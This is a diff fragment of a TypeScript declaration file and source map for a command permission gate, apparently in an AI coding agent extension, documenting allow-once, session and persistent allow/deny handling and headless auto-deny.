+ * - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
545
+ * - `architecture.md:152-163` (prompt preview ordering)
546
+ *
547
+ * Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
548
+ * empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
549
+ * exception strategy.
550
+ */
551
+ export declare function getAllowListEntries(command: string): string[];
552
+ /**
553
+ * Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
554
+ * command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
555
+ * on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
556
+ * seed the set directly without going through {@link runPermissionGate}.
557
+ */
558
+ export declare function ephemeralAllow(command: string): void;
559
+ /**
560
+ * Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
561
+ * entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
562
+ * Once: rule held in memory; consumed on next match"). A second call with the same command
563
+ * returns `false` because the entry was drained on the first match.
564
+ */
565
+ export declare function isEphemeralAllowed(command: string): boolean;
566
+ /**
567
+ * Add `command` to the in-memory session allow set so every subsequent evaluation within this
568
+ * Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
569
+ * Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
570
+ * on match — the developer can reuse the command freely until restart.
571
+ * Exported so tests can seed the set directly without going through {@link runPermissionGate}.
572
+ */
573
+ export declare function sessionAllow(command: string): void;
574
+ /**
575
+ * Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
576
+ * so the rule stays active for the rest of the session. A second call with the same command also
577
+ * returns `true` — the entry is cleared only by {@link sessionStartHandler} or
578
+ * {@link setCurrentMode}.
579
+ */
580
+ export declare function isSessionAllowed(command: string): boolean;
581
+ /**
582
+ * Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
583
+ * FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
584
+ *
585
+ * Pipeline:
586
+ * 1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
587
+ * skipping both the classifier and the prompt. The type-checker treats `currentMode` as
588
+ * `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
589
+ * "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
590
+ * back without weakening any static surface.
591
+ * 2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
592
+ * previously approved via "Allow This Session" for the rest of this session. Non-consuming,
593
+ * so repeated invocations of the same command reuse the same session-level token without
594
+ * re-prompting or persisting to disk.
595
+ * 3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
596
+ * a single "Allow Once" click is honored exactly once on the immediate next evaluation.
597
+ * 4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
598
+ * `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
599
+ * `ask` branch falls through to the prompt handler.
600
+ * 5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
601
+ * `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
602
+ * `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
603
+ * full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
604
+ * segment-persistence contract; on `deny` the gate persists the command to the current
605
+ * level's deny list.
606
+ *
607
+ * Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
608
+ * `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
609
+ * that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
610
+ */
611
+ export declare function runPermissionGate(command: string, ctx: ExtensionContext): Promise<{
612
+ allow: boolean;
613
+ persistWrite?: {
614
+ level: PermissionLevel;
615
+ action: "allow" | "deny";
616
+ pattern: string;
617
+ };
618
+ }>;
619
+ export default function gatekeeper(pi: ExtensionAPI): void;
620
+ export {};
621
+ //# sourceMappingURL=gatekeeper.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"gatekeeper.d.ts","sourceRoot":"","sources":["../src/gatekeeper.ts"],"names":[],"mappings":"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"}